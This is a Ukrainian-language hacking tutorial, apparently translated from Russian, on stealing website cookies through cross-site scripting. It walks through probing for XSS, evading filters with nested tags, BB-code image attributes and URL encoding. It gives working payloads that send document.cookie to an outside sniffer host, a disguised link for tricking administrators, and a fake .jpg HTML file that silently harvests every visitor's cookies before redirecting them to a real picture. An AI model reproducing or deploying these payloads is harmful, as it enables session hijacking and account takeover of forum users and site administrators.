Ось моя перша стаття і спрямована вона на угон cookie допомогою XSS.

Xss це Css =) Cross Site Scripting

Щоб не плутати з CSS також назвыают XSS

Що ж таке cookie і для чого XSS?

Cookie — це просто текстовий файл на комп’ютері клієнта і використовується він для збереження інформації сервером.
Приміром, після реєстрації та входу на форум, сайт зберігає в cookie інформацію про вас. Там зазвичай сохранениа інформація про
вашому користувача і його пароль. Вже потім форум читає ці дані і визначає вас. Інший приклад: ви адміністратор сайту, а я
простий користувач. Але якщо я зміню свої дані на ваші, то я теж буду визначено систему як адміністратор. Ось і тому
необхідно вміти красти ці самі cookie.

Що таке XSS-атака?

XSS атаки — це атаки не на сам сайт, а на користувачів сайту.

XSS — це недоробка в фільтрі, додатку.

Бувають пасивні XSS і активні XSS.

Пасивні — це Xss, які вимагають від жертви безпосередньої участі + є специфічні
обмеження і складності. Тому, пасивні XSS не дуже цінуються. Наприклад, потрібно змусити її пройти по отруйної посиланню,
що потребують соціальної інженерії, хитрості.

Активні — це XSS, які, не вимагають ніяких додаткових дій з боку жертви — їй достатньо
лише відкрити сторінку з вашим XSS та ява-код виконається автоматично. Завдяки своїй автоматизованості — вони дуже корисні і цінні.
Наприклад, активні хсс існують в BB-тегах через недостатню фільтрації, коли ви залишаєте повідомлення на форумегостевухечате,
яке буде завжди активний при кожному оновленні.

Як знайти XSS на даному сайті?

Намагаємося вставити скрізь де можна на сайті тег script)alert()(/script). Якщо вийшло повідомлення, то
значить скрипт спрацював і ви знайшли XSS.

Розглянемо ще одну XSS “)(script)alert()(/script). Що ж при цьому відбувається: ми
закриваємо тег “)(можливо якийсь змінної задається текст, який ми вводимо в форму) і виконується
(script)alert()(/script)

Як визначити, якщо фільтр?

Для цього у всі поля вводимо “;!–“(fuck)=&{()}

Далі відкриваємо сторінку і шукаємо слово fuck, а також інші символи:

Якщо () залишилися, то це перша ознака уразливості. Якщо залишилися символи ,”‘, то це друга ознака

Якщо ви не виявили (), то швидше за все їх з’їв фільтр. Ну а якщо вони були замінені на інші символи, то тоді, на жаль,
фільтр працює непогано.

Якщо фільтр проковтує ()?

Пробуємо вставити (kdgfjdgfd), дивимося, якщо проковтнув — то вставляємо бойової скрипт.

Є також спосіб вкладеного скрипта: (sc(script)ript)alert()(/sc(/script)ript). Це допоможе, коли
фільтр не дуже сильний.

Буває, що фільтр вважає кількість відкритих і закритих тегів і сам закриває, тоді допоможе таке:
)))))(script

Частенько буває, що фільтр доповнює скрипт, наприклад таким:

“)http://******.ru/forum.asp?sessionID=”)(IMG%20SRC=«javascript (strong)(/strong):alert();

Тут фільтр дивиться, що нічого небезпечного в (IMG%20SRC=»javascript (strong)(/strong):alert(); і виконує його.

Можна спробувати використовувати різні кодування і спробувати закодувати скрипт.

Треба намагатися методом проб і помилок…

Треба намагатися вводити різні значення, переглядати, що ми отримали від фільтра. Методом тиков зрозуміти, як фільтр працює,
які в нього недоліки. Якщо фільтр поганий, то завжди можна буде вставити скрипт.

Активні XSS

Наприклад на сайті можна використовувати тільки дозволені теги, тоді, прикриваючись ними потрібно виконати скрипт. Приміром це теги
img url. Весь сенс в тому, що нам потрібно вставити наш запит параметр img або url. У img є багато параметрів
крім alt src, що можна використовувати в гостевуха і на форумах.

Розглянемо активні XSS

Приміром спробуйте ввести [img]http://www.qwert.ru/1.jpg[/img] або [img src=http://www.qwert.ru/1.jpg]. Якщо
з’явився хрестик, то спробуйте постваить пробіл після розширення jpg [img]http://www.qwert.ru/1.jpg [/img]. Якщо знову хрестик — тоді
все чудово.

далі у img існують параметри dynsrc і lowsrc, які тримають JavaScript.

Намагаємося вставити таке: [img]http://www.qwert.ru/1.jpg lowsrc=javascript:alert()[/img], перевіряємо. Якщо вийшло повідомлення, то значить ви
знайшли активну XSS і замість alert() можна вставити будь-скрипт

Якщо фільтр не здався спробуйте так:

[img]http://www.qwert.ru/”/lowsrc=«javascript:alert()»/1.jpg[/img]

і

[img]http://www.qwert.ru/”/lowsrc=javascript:alert()/1.jpg[/img]

На сторінці з цього вийти такий тег:
(img source=«www.qwert.ru/»/lowsrc=«javascript:alert()»/1.jpg)

Якщо з наведених прикладів вийшов хрестик, то httр://www.qwert.ru/1.jpg замінюємо на адресу сніфер.

Бойовий скрипт

Насправді alert() нічого корисного не зробить (він був потрібен тільки для перевірки). А ось сам скрипт:

(script)

img = new Image();

img.src = «antichat.ru/cgi-bin/s.jpg?»+document.cookie;

(/script)

Він то вже і краде куки

Підставляємо його так:

1) http://****.ru/forum?f=’)(script)img = new Image();
img.src=«antichat.ru/cgi-bin/s.jpg?»+document.cookie;(/script)

де ‘)(script)img = new Image(); img.src=«antichat.ru/cgi-bin/s.jpg?»+document.cookie; сам скрипт

2) більш безпечний скрипт такий приміром:

http://****.ru/forum?f=’)(script src=http://MySuite.ru/script/My.js)(/script)

тут вже йде звернення до файлу My.js, який містить

(script)img = new Image(); img.src=«antichat.ru/cgi-bin/s.jpg?»+document.cookie;

Так безпечніше.

Буває, коли доводиться шифрувати. Ось наприклад:

%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2E%72%75%2F%66%6F%72%75%6D%3F%66%3D%27%3E%3C%73%63%72%69
%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%3D
%22%68%74%74%70%3A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%73%2E
%6A%70%67%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E

Це закодоване

http://****.ru/forum?f=’)(script)img = new Image();
img.src=«antichat.ru/cgi-bin/s.jpg?»+document.cookie;(/script)

Шифрування особливо необхідно не тільки для обходу фільтрів, але і для обману адміна при використанні
пасивної XSS:

(script)document.location.href=”%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2E%72%75%2F%66%
6F%72%75%6D%3F%66%3D%27%3E%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67
%65%28%29%3B%20%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%6E%74%69%63%68%61%74%2E%72
%75%2F%63%67%69%2D%62%69%6E%2F%73%2E%6A%70%67%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B
%69%65%3B%3C%2F%73%63%72%69%70%74%3E”

(/script)

Кинувши цю посилання адміну, відбудеться наступне (якщо він пройде за посиланням):

document.location.href без запиту перебере на

%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2E%72%75%2F%66%6F%72%75%6D%3F%66%3D%27%3E%3C%73%63%72%69
%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%3D
%22%68%74%74%70%3A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%73%2E
%6A%70%67%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E

а це наш зашифрований xss

Є ще один цікавий спосіб для сайтів, де можна викладати свої файли, зображення:

складаємо файл приблизно такого змісту:

(!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”

«www.w3.org/TR/html4/loose.dtd»)

(html)

(head)

(title)«www.****.ru»(/title)

(META HTTP-EQUIV=«Content-Type» CONTENT=«text/html; charset=windows-1251»)

(/head)

(body)

(META HTTP-EQUIV=«REFRESH» CONTENT=«1; URL=http://www.****.ru/image/_1.jpg»)

(script language=«JavaScript» type=«text/javascript»)

document.write(“(img src=’http://antichat.ru/cgi-bin/s.jpg?’+document.cookie
style=display:none border=0 height=1 width=1/)”);

document.title = «www.****.ru»;

window.status = «будь Ласка, зачекайте»;

(/script)

(body onload=«LoadThisPage()»)

(script language=«JavaScript» type=«text/javascript»)

function LoadThisPage()

{

window.location.href = «www.****.ru/image/_1.jpg»;

}

(/script)

(/body)

(/html)

Потім називаємо файл, наприклад 1.jpg і розміщуємо на сайті. Реакція така:

при відкритті документа (а IE прекрасно розуміє зміст файлу), змінюємо заголовок і рядок стану.

В цей час ми дописуємо рядком
document.write(“(img src=’http://antichat.ru/cgi-bin/s.jpg?’+document.cookie style=display:none border=0 height=1 width=1/)”);
в наш документ звернення до снифферу для відправки cookie.

До речі, на відміну від частого способу, зображення не відображається
у вигляді хрестика, оскільки воно має аттрибут прихований (style=display:none) і на всяк випадок розміри 1х1. Після отримання cookie ми без
запиту переходимо на адресу www.****.ru/image/_1.jpg і відкриваємо справжнє зображення (а посилання на наш файл приміром
www.****.ru/image/1.jpg).

Таке посилання можна спокійно розмістити на сайті www.****.ru. Кожен, хто зайде за посиланням, віддасть вам свої куки та
побачить те, навіщо він клацнув по посиланню (тобто картинку, на яку ми його переадресуємо).

переадресація відбувається в будь-якому випадку, включений у користувача JavaScript або немає.

Додатково: якщо перейти через IE, то скрипт спрацює, а якщо в Opera, то скрипт не спрацює і буде хрестик. А якщо перейменувати
в html, то в опері теж буде працювати.

Це моя перша стаття, прошу сильно не критикувати